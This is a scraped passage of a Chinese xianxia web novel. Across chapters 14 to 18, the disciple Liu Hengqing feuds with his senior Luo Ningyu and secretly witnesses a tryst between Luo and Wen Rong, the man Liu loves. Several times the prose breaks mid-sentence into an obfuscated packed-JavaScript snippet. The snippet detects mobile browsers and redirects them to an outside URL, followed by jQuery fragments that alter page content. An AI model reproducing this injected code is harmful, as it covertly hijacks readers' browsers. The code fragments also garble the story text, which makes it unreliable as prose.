柳恒清眼神晦暗不明,阴沉沉地瞪着洛宁毓,洛宁毓亦看向他,嘴角勾起了一抹胜利般的笑。 柳恒清一向喜欢长相俊美的人,一个人只要生得好看,再烦人他也能忍受,唯有洛宁毓让他此时此刻只想一拳打断他的鼻梁:可恶,温戎不是你用来炫耀的战利品! 洛宁毓听不见他内心的怒吼,对他们二人道:“换完就赶紧回去,若是让我发现你们半个时辰后不在弟子院内,明日你们一人打扫一座仙山的长阶。” 柳恒清没应他,而是对程炀道:“你快先进屋里等吧,我去给温师兄帮忙,不然慢了咱俩又得被罚。你前几天刚被罚抄了三百遍门规守则,左手还酸着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438310|169303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧?可不能再去扫长阶了,不然两只手都该废了。” 温戎闻言,眉头一紧,问洛宁毓:“你前些天罚他抄三百遍门规?” 洛宁毓脸色一变,道:“他右手伤着,不好练剑。” “不能练剑难道就能抄门规了?一千多条门规抄三百遍,你是不想让他的伤恢复吗?”温戎微怒道。 “我……”洛宁毓有口难辩,狠狠剜了柳恒清一眼。 “程炀手恢复之前,不许让他练剑抄书。”温戎说道,带着程炀进了屋。 柳恒清努力抑制住上扬的嘴角,对洛宁毓行了个礼:“师兄再见,您放心,半个时辰后我和程炀一定会在弟子院的。” 洛宁毓朝他走近一步,柳恒清也不怯,直视着他冷得瘆人的眼睛。 “少给我耍花样。”洛宁毓警告道。 柳恒清微微一笑,道:“师兄这是什么意思,我不明白。” 洛宁毓没再多说,用力撞开他的肩膀,颀长的身影渐渐没入夜色之中。 屋内,温戎已经拆好了纱布,程炀乖乖地坐在他身旁等着换药。 “好很多了。”温戎说道。 烛火为温戎勾勒出一抹暗色的剪影,他眼眸低垂,纤长的睫毛微微颤动,仿佛有光点落在其上,饱满的双唇紧抿成一条线,专注地为程炀清理伤口。温戎的手修长白净,动作干净利落,即使只是敷药,柳恒清都看得都快入了迷。 缠好纱布后,温戎对程炀道:“好了,还是五日后再来换药。” “多谢温师兄。” 柳恒清走上前去,问道:“师兄,这食盒该放哪?” 温戎接过食盒,道:“先不用还了,今天也带些饭菜回去吧,上次那些可还合胃口?” “合,藕片可好吃了!”柳恒清十分捧场。 温戎笑道:“那就好,今天给你多带点。” “谢谢师兄。” 温戎只离开了片刻,很快就提着食盒回来,叮嘱道:“你们回去小心些,师父最近好像又种了些奇奇怪怪的草药,有个师弟不小心被割伤,昏迷了好几日。” “只是被割伤就昏迷了好几日,什么草药这么厉害啊。”程炀惊叹道。 温戎摇摇头,道:“师父还没起名字呢,他总喜欢把草药相互嫁接扦插,种出一些奇特的草药,那些草药很多时候对伤病有奇效,但偶尔也会种出一些。” “真不愧是芳翳长老。”程炀道。 温戎笑道:“师父的确很厉害。你们赶紧回去吧,晚了又不知宁毓会怎么样呢。” 提起这个名字,柳恒清一直带笑的脸就垮了。 程炀忽然委屈地撇撇嘴,开口道:“洛师兄好像因为在大殿上的事不太喜欢我,连带着也不待见柳大哥,还让我们睡柴房……” 温戎惊讶道:“竟有此事?” “是啊,我手受伤了,柳大哥不忍心我和他一起住柴房,让我去和第五朔挤,他自己在柴房睡了五天。”程炀道。 温戎眉头又拧成一团,轻叹了一声,无奈道:“蓬莱仙山这么大,竟腾不出两间屋子给新弟子住,说出去岂不让人笑话。你们先回去吧,这件事我会和宁毓说的。” “别,温师兄你别说了,不然洛师兄又该觉得我们和你告状了。我住柴房挺好的,现在也不冷。”柳恒清故作坚强道。 “现在是不冷,再过一段时间呢?放心吧,我不会让他知道是你们告诉我的。”温戎道。 柳恒清对温戎感激一笑,道:“师兄,你真好。” 温戎抬手摸了摸他的脑袋,温柔道:“快回去吧。” “好,五日后再见。” 15. 第 15 章 回去的路上柳恒清一脸喜色,拍了拍程炀的肩膀,赞赏道:“不错呀你,还知道偷偷告状,有进步!” 程炀腼腆一笑,道:“柳大哥,你跟我说你能弄个好屋子是骗我的吧?这都过去五天了,我都没见你想出什么办法来。我看你自己住柴房真的很过意不去,所以才擅自作主,跟温师兄说了这事。第五朔说温师兄和洛师兄从小一起长大,感情不错,如果温师兄开口,洛师兄应该不会驳他面子的。” 闻言,柳恒清脸上的笑意微微有些僵硬。他自然知道温戎和洛宁毓从小一起长大,只是一直刻意去忽略这件事,因为一想到洛宁毓和温戎一起有过那么多他完全不了解的时光,他就会嫉妒得发疯。 “柳大哥,你怎么了?”程炀见他半晌不说话,忽然有些不安。 柳恒清回过神来,说道:“没什么。谁说我是骗你的,我已经计划好了,只不过没这么快罢了。” “如果有温师兄帮忙的话,你就不需要自己想办法了。”程炀道。 柳恒清若有所思道:“嗯……不过,有些人还是得教训一下我心里才能舒坦。” “什么人?”程炀问道。 “没什么,你到时候就知道了。”柳恒清露出了一抹狡黠的笑来。 他们回到弟子院时,第五朔还没回来,但两人倒也不觉得奇怪。第五朔出身显赫,又是本届弟子中的首位,其他人一向喜欢围着他转,几个人结伴出去玩也是有可能的。 可他们刚把食盒里的几碟小菜和两碗米饭端出来,屋门就被推开了。第五朔一脸愠色地站在门口,忽见桌上摆了好几盘菜,顿时两眼放光,一个箭步冲了上来,一把夺走程炀的筷子,就着凉拌黄瓜塞了好几口米饭,这才复活了一般长出一口气。 “饿死我了。”第五朔叹道。 程炀被他行云流水的一连串动作整懵了,呆愣愣地看着他,道:“你没吃饭?” “你看他这饿死鬼投胎的样子像吃了饭的吗?”柳恒清拿筷子敲了第五朔的手一下,道,“那是程炀的,你吃了他吃什么?” “那些人才是饿死鬼投胎,我不过晚去了一个时辰,一点饭菜都没有了,我四五天没吃晚饭了,忍不了了。程明南天天睡我这儿,我吃他一顿怎么了?”第五朔理直气壮道。 程炀本来也不指望他能分一半饭给自己,只默默翻了个白眼。第五朔两三口把凉拌黄瓜吃完,柳恒清拿过盘子,从第五朔碗里扒拉出一点米饭,又从自己碗里扒拉出一点米饭分给程炀。他漫不经心道:“修仙之人,辟谷乃是常事,四五天没吃晚饭罢了,你就这幅样子,日后可怎么办啊……” 第五朔闻言,不服气道:“又没到辟谷的时候,平时多吃点怎么了?本公子可还在长身体的时候。” 程炀问道:“你为什么晚去?” “我……”第五朔略一迟疑,随即又炸毛道,“你管我为什么晚去,本公子还用得着跟你汇报吗?” 柳恒清则是一副看穿了第五朔的表情,抱胸轻笑道:“第五公子该不会是怕每月的考核不能稳住第一的位置,所以每日都偷偷练习吧?” 第五朔闻言,被一口水蒸蛋呛得脸红脖子粗,恼羞成怒道:“你胡说八道什么呢,打败你们还不是小菜一碟?” “是是是,第五公子一定会是第一的,到时候弟子们开赌局,我全押你赢。”柳恒清道。 “蓬莱派不是严禁赌博吗?”程炀道。 柳恒清神秘一笑,道:“越是被禁止的事情,越有人做。” 第五朔一扬眉,道:“放心大胆地押,本公子一场也不会输!” 三人边闲扯边吃饭,很快就把饭菜扫荡干净。 吃完饭后柳恒清独自回了柴房,但却不着急进去,而是站在门口垂眸盯着门缝看了片刻。门严丝合缝地闭着,透不进去一丝光,但柳恒清眼前却微微一亮。 他不动声色地弯下腰,捡起掉在门与槛之间的一角符纸。这片符纸还没有指甲盖大,若非特意低头找很难发现。他出门前特意将其夹在门缝中,若非有人开门,绝对不会落下,也不会被发现。 柳恒清唇角微扬,心道:鱼儿上钩了。 片刻后,正在屋里看书的第五朔和程炀听见外头传来了一阵骚动,立即开门查看。弟子院的人也都被那声音吵得跑了出来,不满地瞪着在院子里大喊大叫的人。 “来人啊,抓小偷,有人偷我东西!”柳恒清佯怒道。 程炀闻言,连忙道:“什么东西?” 其他弟子闻言,皆是嗤之以鼻。 卫玉琢嘲道:“就你那些破烂,我们会看得上?笑话!” “就是,也就你的跟屁虫可能会觊觎你那些不值钱的小玩意儿吧?你有空在这儿大吵大闹,不如直接去搜搜程明南的东西。”赵承枫亦应和道。 程炀闻言,脸都憋红了,气道:“我才没有偷柳大哥的东西,你们不要污蔑人。” “污蔑?那你倒是说说,这弟子院里除了你,还有谁会稀罕柳恒清的东西?”卫玉琢轻蔑一笑,不怀好意地看着程炀,而其他人也都附和着他。 弟子院中除了柳恒清和程炀以外,其余几人皆是世家公子哥,吃穿用度比起他们俩好了不知道几个台阶,的的确确不可能去偷柳恒清的东西。 柳恒清却道:“我丢的又不是什么金银首饰。” “那你还有什么东西值得让人偷?你娘亲手给你打了补丁的破布衫吗?”赵承枫戏谑道。 柳恒清眼眸一沉,正欲发作,却见洛宁毓带人走了进来。 “全都出来做什么?”洛宁毓扫视了一圈,问道。 “柳恒清说他东西被人偷了。”卫玉琢答道。 “哦?”洛宁毓饶有兴趣地转头看向柳恒清,道,“什么东西丢了,师兄可以帮你找找。” 柳恒清听见他自称师兄,简直都要吐出来了,道:“不劳师兄大驾了,也不是什么值钱的物什。” “这可不能轻易算了,我们蓬莱派绝不能容许出现偷窃这等卑劣之事。这位师弟到底是什么东西丢了?”站在洛宁毓身旁的叶时舟问道。 “是……是第五公子前些日子借我的一本书。”柳恒清道。 “什么?!你把我们家的……你把我的书弄丢了!”第五朔气愤不已,差点就要冲上来揍柳恒清,被程炀一把拽住。 其他人闻言,十分诧异。卫玉琢道:“启皓,我前些天就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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弟子院里的人还在幸灾乐祸,柳恒清按下怒气,继续把戏演完。他故作夸张地叹了口气,道:“洛师兄不信我,我也没办法。只是我那书的的确确是在弟子院丢的,倘若偷书之人明日清晨之前能将它原封不动地归还给我,那我就不计前嫌了,否则……”他冷冽的眼神扫过在场所有人,寒声道,“我定会让他付出代价。” “有病。”卫玉琢翻了个白眼,和赵承枫勾肩搭背着回了屋。 其他弟子也都懒得理会他,各自散去。 “都怪你,害得本公子在别人眼里都掉价儿了。什么春宫图……鬼才看!”第五朔愤愤道。 “第五公子没看过春宫图吗?”柳恒清问道。 “当然没有,那东西有什么好看的。”第五朔翻了个白眼。 柳恒清笑而不语,看第五朔的眼神竟莫名多了几分长辈般的慈爱:这会儿的第五朔还挺单纯。 第五朔被他看得毛骨悚然,故意呛他道:“你今天这是偷鸡不成蚀把米。” 柳恒清轻哼一声,道:“我未必偷不到鸡。” 第五朔一挑眉,道:“哼,我倒要看看你要怎么抓住那只鸡。” 程炀听着他们的对话,一脸茫然:“什么鸡啊?” 第五朔扭头看程炀,发现他还死死拽着自己的手,立马一脸嫌弃地抽了出来,道:“你这只呆鸡!” 16. 第 16 章 第二日清晨,柴房门前空空如也,没有出现那本蓝皮秘籍。 柳恒清挑了挑眉,倒也不惊讶,只是略有些失望地叹了口气,自言自语道:“给你机会你不要,那就别怪我了。” 弟子院的其他人也纷纷从屋里出来,各个神色自若,没人理会神神叨叨的柳恒清,柳恒清也不再纠结于此事,洗漱好吃过饭便御剑去了流云峰。 他站在山脚下看着没入云端、望不见尽头的长阶,长长叹了口气,认命地老老实实开始打扫。 流云峰的峰主是清云长老,弟子们全部都是器修,整个蓬莱派的法器都出自他们之手。 柳恒清还没扫到半山腰,就听到远处传来各种捶打玄铁的声音,忍不住叹道:“器修也是个力气活啊,也不知程炀那小鸡崽当初吃了多少苦才成为这里最出色的弟子。” 柳恒清勤勤恳恳地从朝霞漫天一直扫到烈日当空,却只堪堪扫了三千多级长阶。正午的日头晒得他烦躁不已,索性扔了扫帚躲到一片树荫底下乘凉。 他照例咒骂了洛宁毓几句,又见四下无人,便懒得再循规蹈矩地一级一级慢慢扫。他端坐在草坪,平心静气后运转灵力,两指并拢手腕一翻,送出一缕清风。清风如雾,盘旋飞舞在柳恒清身侧,任他召唤。 柳恒清手轻轻一挥,那缕清风瞬间如同有了神智一般。四周的树忽然开始簌簌作响,眨眼之间,不管是树上的还是地上的枯叶全都被那阵风聚到一处。那阵风从山顶一路而下,不过一炷香的时间就将六千长阶打扫得一尘不染。 而柳恒清则是悠然自得地叼着一根狗尾巴草,靠在树下闭眼小憩。 “咳咳!” 不知过了多久,耳边忽然传了两声熟悉且做作的干咳,原本睡得正香的柳恒清猛地呼吸一滞,眼睛还没睁开就一个鲤鱼打挺站了起来。 只见掌门负手站在他面前,脸上看不出什么表情,而温戎站在他身后,眼眸含笑地望着他。 “掌门,温师兄。”柳恒清心道自己怎么这么倒霉,每回偷懒睡觉都被掌门和温戎撞见。 掌门眉头微蹙,严厉道:“你不在练武场练剑,竟跑到这儿来偷懒。” “不是的,是洛师兄罚我扫流云峰的长阶。”柳恒清解释道。 “宁毓为何罚你?”掌门问道。 “我昨夜在弟子院喧哗。”柳恒清老老实实回道。 掌门轻哼一声,道:“宁毓罚你是为了让你长记性,你却利用法术之便躲在这里偷懒!” “我错了,我马上重新打扫。”柳恒清乖巧道。他一向识时务,虽然很烦掌门总是针对他,但也绝不会当面忤逆掌门,更何况他这一世可是立誓要低调做人的,可不能像上一世一样刺头。 “都干净了还扫什么?赶紧回去练剑!”掌门瞪了他一眼,甩了甩袖子,上山找清云长老去了。 见掌门走远,温戎走上前来,温声道:“你别看掌门严厉,其实他刚刚夸你来着。” 柳恒清诧异道:“掌门夸我?” 温戎点头,道:“掌门见有小弟子能将催风诀用得如此精妙,赞叹此人伶俐且天赋奇佳,定是个可塑之才。” 门内这种洒扫的活都是交给初选的后九十名去做,他们大多资质平庸,但努力肯干,掌门大概以为自己遇见了一颗沧海遗珠,所以才会如此欣慰,没想到却是柳恒清。 柳恒清挠了挠头,道:“不过我两次打盹儿都被掌门抓到,他看起来不大高兴。” 温戎轻笑一声,道:“掌门为人勤勉务实,见不得弟子偷闲,其实他还是很爱才的。” “当真?”柳恒清是真的不信,上一世他从不藏拙,可掌门却视他如眼中钉肉中刺,多看他一眼都嫌烦。 “我何必骗你?”温戎道,“初选时我便觉得你与众不同,现在掌门也看出来了。你面对三只大妖丝毫不怯,而且对付玄九的那一招十分独特,我从未见过,是你自创的吗?” 柳恒清微微一愣,他都快忘记自己用九幽剑诀被温戎看见的事了,还以为他也忘了。 “啊……是,我当时一时情急,随便打的。”柳恒清随口胡诌道。 温戎颔首道:“我后来也问了师父和掌门,可惜他们当时并未注意你,所以也不知道你那招究竟是什么,我还想着什么时候让你再打一次给他们看看,研究一番。” “我现在也不记得了,哈哈,当时乱打的,乱打的。”柳恒清干笑道,心道:还好当时没注意我,我可不敢在掌门面前使出魔教剑法来,不然还没出蓬莱仙山我就已经死无全尸了…… “那就没办法了。”温戎道。 “师兄,你来流云峰做什么?”柳恒清赶紧转移话题,生怕温戎又继续问和九幽剑诀有关的事 温戎晃了晃手里的乾坤袋,道:“师父的炼丹炉坏了,叫我带来给清云长老修修。” 柳恒清笑得一脸天真烂漫,朝温戎走近一步,道:“师兄,我们真有缘,这样都能遇见。” 温戎看着柳恒清,忽然觉得他像只温顺的小狗一样,忍不住伸手揉了揉他的脑袋,笑道:“是啊,我极少出千秋山,但两次都遇见你。” “如果下次也能再遇见你就好了。”柳恒清毫不掩饰自己期待。 温戎却垂下眼眸,避而不答:“快回去练剑吧,等会儿掌门下来看见你还在这儿,又该罚你了。” 柳恒清略有些失望,但也没再纠缠,恋恋不舍地和温戎道了别,御剑往练武场飞去。 一天下来,程炀也没等到洛宁毓给柳恒清安排新住处,嘴撅得都能挂茶壶了。 柳恒清无奈道:“别急,温师兄一向言而有信说到做到,他只是还没来得及同洛宁毓说罢了。” “那得等到什么时候呢……” 柳恒清倒希望拖得越久越好,这就说明他们俩人一直没见上面。 柳恒清和程炀一起去了膳房,却说自己暂时没胃口,只带了二十个牛肉烧饼回去。程炀并未多心,他自然想不到柳恒清还要偷偷去狩猎场练剑。 柳恒清虽然看上去吊儿郎当,整日睡不醒的样子,但其实对待修炼从不含糊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438312|169303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从小到大都十分自觉,只不过他一向秉承着劳逸结合的原则,练够了,该吃吃该玩玩该睡睡,互不耽误。 今日是十五,圆月高悬于夜空,在空阔的狩猎场内洒下一片清晖。此处的焦味早已散去,只有海风的咸腥味淡淡地弥漫在四周,置身于此竟莫名有种遗世独立之感。 柳恒清先赏了会儿月,而后便开始练习蓬莱剑法第二式。 月光之下,长剑犹如银龙破空而出,迅猛如雷霆之势,灵动若清风舞帘,剑气如虹,直教月光失色。 一套行云流水的剑式练下来,柳恒清找回了一些感觉,正要连着第一式再练一次时,忽觉一缕不寻常的清风掠过耳畔。 他闭眼凝神,微微侧首朝向风来处听去,竟听得远处有人正御剑向此处靠近。 柳恒清不敢冒险,立即回剑入鞘,躲在一块巨石后面。他本想着等那人离开再出去继续,不想那人竟停在了狩猎场。 柳恒清心中称奇,这大晚上竟有人和他一样跑来狩猎场,也不知道那人是要做些什么。 他有些好奇,决定躲在暗处多听一会儿。 那人脚步声极轻,缓缓朝空旷处走来。 幽幽月色下,一道清瘦如松的身影渐渐从暗处走出,柳恒清不禁微微一怔,旋即心中一阵窃喜:我与温戎当真是上天注定的缘分,无论到哪儿都能遇上! 温戎身着一袭水蓝长衫,衬得他清俊无双,清风吹拂衣袂飘飘,沐浴于月光之下犹如谪仙一般。他停在柳恒清前面三丈远的地方,负手而立,似在赏月。 柳恒清心道师兄好雅兴,正想蹿出去给温戎一个惊喜,却听耳畔又传来一道声音,无奈又躲了回去。 今夜是怎么了?这么多人下山…… 而温戎似乎也注意到了有人来,却并不躲避,而是转过身静静地望着他来时的那条路。 柳恒清心想:难不成,温戎是在等人? 很快,柳恒清的猜测就得到了印证,他听得很清楚,有个人正快步往这儿赶来。 不知为何,柳恒清的一颗心忽然提了起来,他对这脚步声并不陌生…… 他和温戎朝同一个地方看去,只见一道修长挺拔的玄青身影从远处奔来,一到温戎跟前就急切将他一把揽入怀中,而温戎亦伸手环住了他的腰。 八月夏夜,柳恒清的心却如坠冰窟。 四下寂静无声,只有清风阵阵徐来,皎洁月色下,一对璧人忘情地相拥着,仿佛天地间只剩彼此。 此情此景,如画般美好,让人不忍打搅。 他们看上去是那么般配,衬得暗处的柳恒清既孤独又可笑。痛苦从心蔓延至四肢百骸,他眼眶发酸,浑身发麻,几乎无法呼吸,却又必须克制,不能让人发现自己的存在。 柳恒清从来没有一刻觉得自己如此可悲,只能躲在阴暗的角落里,偷偷看着心上人和他人幽会,而他却无能为力。 怎么会是洛宁毓……温戎和洛宁毓?不可能!他们只是一起长大而已,他们之间并没有什么啊!为什么重来一次会这样…… 17. 第 17 章 柳恒清自虐一般盯着远处的两人,甚至不曾眨一下眼。 他忽然不知道自己重生一次到底该做什么了。原本他一心想着要带温戎离开蓬莱派,如今看来,温戎真的会愿意离开吗?如果重生一次却不能和温戎在一起的话,那还有什么意义? 远处的两人不知拥抱了多久、才终于恋恋不舍地分开。 柳恒清莫名松了一口气,他刚刚仿佛被人紧紧扼住了喉咙一般无法呼吸。可他还不想走,他也不知为何,明知继续看下去只会更难受,却还是不愿离开。 远处两人并肩而立,声音低低地说着话。修仙之人耳力清明,即使是三丈远的距离柳恒清也能听得一清二楚。 洛宁毓轻声道:“我还担心你生我气,不肯来了。” 温戎似是仍在气恼,微微侧开身子不愿看他,道:“原来你也知道我是会生气的。” “自然,没人比我更了解你。”洛宁毓将温戎拉得更近一些,伸手把他的一缕发丝撩至耳后,无论声音还是动作都温柔至极,与平时的他判若两人,“我这两日可没罚程炀了。” “是没罚程炀了,罚别人去了。” 温戎显然话里有话,洛宁毓闻言一顿,心虚道:“你怎么知道?” “师父的炼丹炉坏了,我拿去给清云长老修,遇见恒清了。” 听见自己的名字,柳恒清心头一紧。 洛宁毓眉头紧锁,道:“他夜间喧哗,我只是按门规处置。” “让他住柴房,也是按门规处置?” 洛宁毓脸色一沉,语气明显生硬了些:“他告诉你的?” 温戎摇了摇头,道:“我今早遇见他,发现他头发和衣衫上都沾了不少木屑。流云峰六千长阶,若不一睡醒就过去,一天之内根本扫不完,大清早的他上哪儿弄的那一身木屑?除非,他昨夜就是在柴房里睡的。” 温戎撒了个合情合理的谎,洛宁毓并未再疑心是柳恒清暗地告状,但脸色依然不好看。他不悦道:“你为何总是替他说话?” 温戎微微一愣,回想了一下自己从认识柳恒清到现在发生过的所有事情,认真道:“这是我第一次替他打抱不平,哪有总是?” 柳恒清闻言,其实是有些想笑的,可他现在连牵动嘴角的力气都没有了。他宁愿温戎不帮自己讨公道,也不想他特意为了这事出来见洛宁毓。 思及此处,柳恒清又在心底自嘲一笑:不对,就算没有我,温戎也会出来见洛宁毓的吧…… 洛宁毓无奈道:“可是……我不喜欢他。” 温戎道:“为什么?他只是个刚入门的小弟子,若有不懂事的地方,你作为大师兄不该多担待点吗?” 刚入门的小弟子。 这七个字像七支飞箭一般狠狠扎进柳恒清心里。 “是,我最初在狩猎场时也很欣赏他,可是……” “可是什么?” “可是我讨厌他看你的眼神。”洛宁毓沉声道。他知道和一个乳臭未干的小子争风吃醋很可笑,可不知为何,看见柳恒清他的心里就会涌起一股莫名的不安。他不想让柳恒清看温戎,更不愿意温戎接近柳恒清,他想把温戎藏起来,只属于他洛宁毓一个人。 温戎闻言一顿,片刻后竟笑出了声:“宁毓,你难道还和小师弟吃醋吗?而且,万一是你误会了呢?” “我没有误会。我喜欢你,我自然看得出来别人是不是也喜欢你,他看你的时候,眼睛很亮。” 温戎忽然有些不好意思了,低下了头,道:“好吧。就算你没误会,可恒清没做什么逾越的事,你也不该让他去睡柴房。” 洛宁毓深吸了一口气,又长长吐出,道:“好,我答应你,会给他安排间合适的屋子。” 温戎微微一笑,道:“好。” 洛宁毓看着温戎,斟酌再三,开口道:“我答应了你,那你能不能也答应我一件事?” “什么事?” “不要见柳恒清。” 柳恒清闻言,不自觉攥紧了拳头,心又一次提到了嗓子眼,他害怕温戎会答应洛宁毓,真的再也不见他……就算温戎不喜欢他也没关系,但是别让他连见也见不到温戎。他会克制自己的言行,不打扰温戎,只要看看他就好了。 温戎不可置信地蹙起了眉头:“你说什么?宁毓,我是千秋山的弟子,是药修,为他人看病疗伤是我的本分,怎能因为这种原因就再也不见一个人?” “千秋山的药修又不止你一个,你让别人去帮他疗伤不就好了?”洛宁毓不自觉微微提高了声音。 “可程炀是由我医治的,他伤还没好,我怎么能那么不负责任地将他丢给别人?程炀不认路,恒清自然得带他上山,我免不得要与他见面的。” “他说什么你就信什么吗?程炀根本不是路痴,他们俩一唱一和骗你的,柳恒清就是借着陪程炀的由头去见你,你难道不明白吗?”洛宁毓忽然脸一沉,冷声道,“还是说你根本心里一清二楚,却并不想制止他。” 听了这话,温戎直接甩开了洛宁毓的手,轻喝道:“洛宁毓,你够了!” 见温戎生气,洛宁毓这才意识到自己说错话了,连忙哄道:“对不起,我胡说八道的,我知道你不会的。” “恒清近来能常常与我见面还不是托了你的福?若非你在大殿上那么不知轻重打伤了程炀,他又有什么有理由去千秋山?我明明是在为你收拾烂摊子,你居然倒打一耙。”温戎脾气的确是出了名的温和,但若真生气起来也绝不是一两句话就能哄好的。 “我只是气不过,他那日根本是故意向你告我状的。”洛宁毓抓着温戎的衣袖扯了扯。 “多亏他告了状,否则程炀的伤一直好不了,我就得一直帮他医治,恒清也能一直上山见我,到时候恐怕你又该觉得是我故意不将程炀医好,好让恒清能时常来见我。”温戎阴阳怪气道。 洛宁毓无话可说,只能低着头,一副任他打骂的姿态。 柳恒清心里稍稍好受了些,虽然温戎心里有人,可至少他并不讨厌自己,也不会不见自己。 两人沉默着对峙了片刻,温戎轻叹了口气,道:“你从前不会这样的,这是怎么了?” 洛宁毓自己也想不明白为什么。从前也不乏有弟子倾慕温戎,可他从来没将他们放在眼里,那些人连做洛宁毓对手的资格都没有,他从来不担心温戎会将眼神额外分给他们,可是柳恒清不一样。 洛宁毓在狩猎场是负责保护程炀的,但后来程炀一路与柳恒清结伴,他自然也注意到了柳恒清。 这个少年虽然总是一副漫不经心的样子,但实力在这群弟子中绝对是首屈一指,甚至可以说是一骑绝尘。 第五朔已是公认的天之骄子,他对付一只百年妖怪尚且需要过上几招,可柳恒清只是一只灵箭就结果了妖怪,妖怪甚至不曾见到他。 更别提他对付那三只大妖时从容不迫的姿态了。洛宁毓现在还记得柳恒清对付玄九时那奇异的剑招,他私下里还试着练过,却并不能像柳恒清一样发挥出那么大的威力。 洛宁毓看得出来此人前途不可限量, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438313|169303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不得不担心、防备柳恒清。 他一无所有,只有这掌门首徒的身份以及温戎,他绝不会让这个半道杀出来的小师弟抢走他的一切。 “我只是太喜欢你了。”洛宁毓说道,试探性地朝温戎伸出了手,见温戎没抗拒,便重新牵住他的手。 “宁毓,我没那么容易动摇。”温戎柔声道。 得到温戎这句话,一直堵在洛宁毓心中的大石终于落下,他难得露出了一抹轻松的笑,道:“我相信你,我了解你。” 温戎伸手轻轻捏了捏洛宁毓的脸颊,道:“多笑笑吧,整日绷着多难受。” 洛宁毓覆上温戎的手,轻声道:“好。” 朦胧月光为温戎那张俊雅绝伦的脸笼上了一层薄纱,显得他更为清逸出尘,那双永远含笑的碧波凤眸亮如星辰,让人看一眼便会无法自拔地沉沦。 洛宁毓情不自禁地慢慢凑近温戎,二人越靠越近,连呼吸都落在彼此的脸颊上。他蜻蜓点水一般在温戎的唇畔落下了一个吻,轻柔又克制。 躲在巨石后的柳恒清双眼通红,只是看着他就觉得自己的心好像在被一把钝刀来回切割,沉闷酸涩的痛让他失去了所有的力气。 温戎,温戎…… 他在心里不断喊着温戎的名字,可这样有什么用呢?温戎听不见,他更不能就这样冲出去。 上一世的我不知道这一切也就罢了,可如今既知晓了温戎和洛宁毓两情相悦,若是耍尽心机加以阻拦,未免太过卑劣……况且,我心中的温师兄绝不是个会轻易移情别恋的人,他后来愿意接受我,一定是已经和洛宁毓分开了吧?他们后来一定有了无法磨合的矛盾,即使没有我,也没能走下去。 柳恒清只能这样安慰自己。他的确算不上什么正人君子,但真的要他在知情的情况下去挖人墙角,他也做不到。 柳恒清突然明白了洛宁毓为何总是针对自己了,换作是他,恐怕也没法好声好气地对待一个时刻觊觎着自己心上人的人。 洛宁毓没再做什么过分的举动,他们只是一边赏月一边聊着彼此的近况。 “还有十日便是仙盟大会了,师父说我定能夺得魁首,到时候我就将赢来的宝剑送给你。”洛宁毓道。 温戎摇了摇头:“不用,我已经许多年不用剑了。” 洛宁毓轻叹一声,道:“若非当初芳翳长老执意要你入千秋山,如今我们俩定会是蓬莱双璧。我还记得你刚上千秋山的时候,偶尔手痒了想练剑,便会偷溜下山,有时行侠仗义,还报我的名字。” 柳恒清一怔:我还一直纳闷当初温戎为什么要用洛宁毓的名字骗我,原来是这样。 温戎轻笑道:“那时候还有些不甘心,一心想着要做剑修,但后来我觉得师父说得没错,我的确更适合做个药修。” 洛宁毓望着温戎的眼神满含深情:“你性子沉稳,有韧劲,做什么都会很出色的。” 温戎微微一笑,抬头看了眼月亮,道:“不早了,该回去了。” 洛宁毓失望地叹道:“真想与你多待片刻。我们什么时候才能像儿时那样整日都待在一起呢。” 温戎不语,脸上的笑意渐渐褪去,眼神晦暗不明。 他们二人和来时一样,相继离开,而柳恒清依然躲在那里一动不动。 他不记得自己在那里独自坐了多久,也不记得自己是怎么回来的,直到在柴房的地板上躺下时被一根木刺刺到了手,柳恒清才忽然找回了一丝活着的感觉。 他整个人蜷缩起来,一滴泪无声地从眼角滑落。 18. 第 18 章 柳恒清像个孩子一般呜呜咽咽地哭着,仿佛又变成了那个整日受人欺负的小柳澈。 他想起了第一次和温戎见面的场景,那段回忆太久远,若非上次偶然梦得,他几乎都快忘记了。柳恒清并非是因为温戎儿时帮自己解围就喜欢上他的,只是温戎与他从前认识的人都不一样。他最初不相信会有这样的人存在,甚至觉得温戎不过是在做戏,后来才明白他不过是在以小人之心度君子之腹。 —— 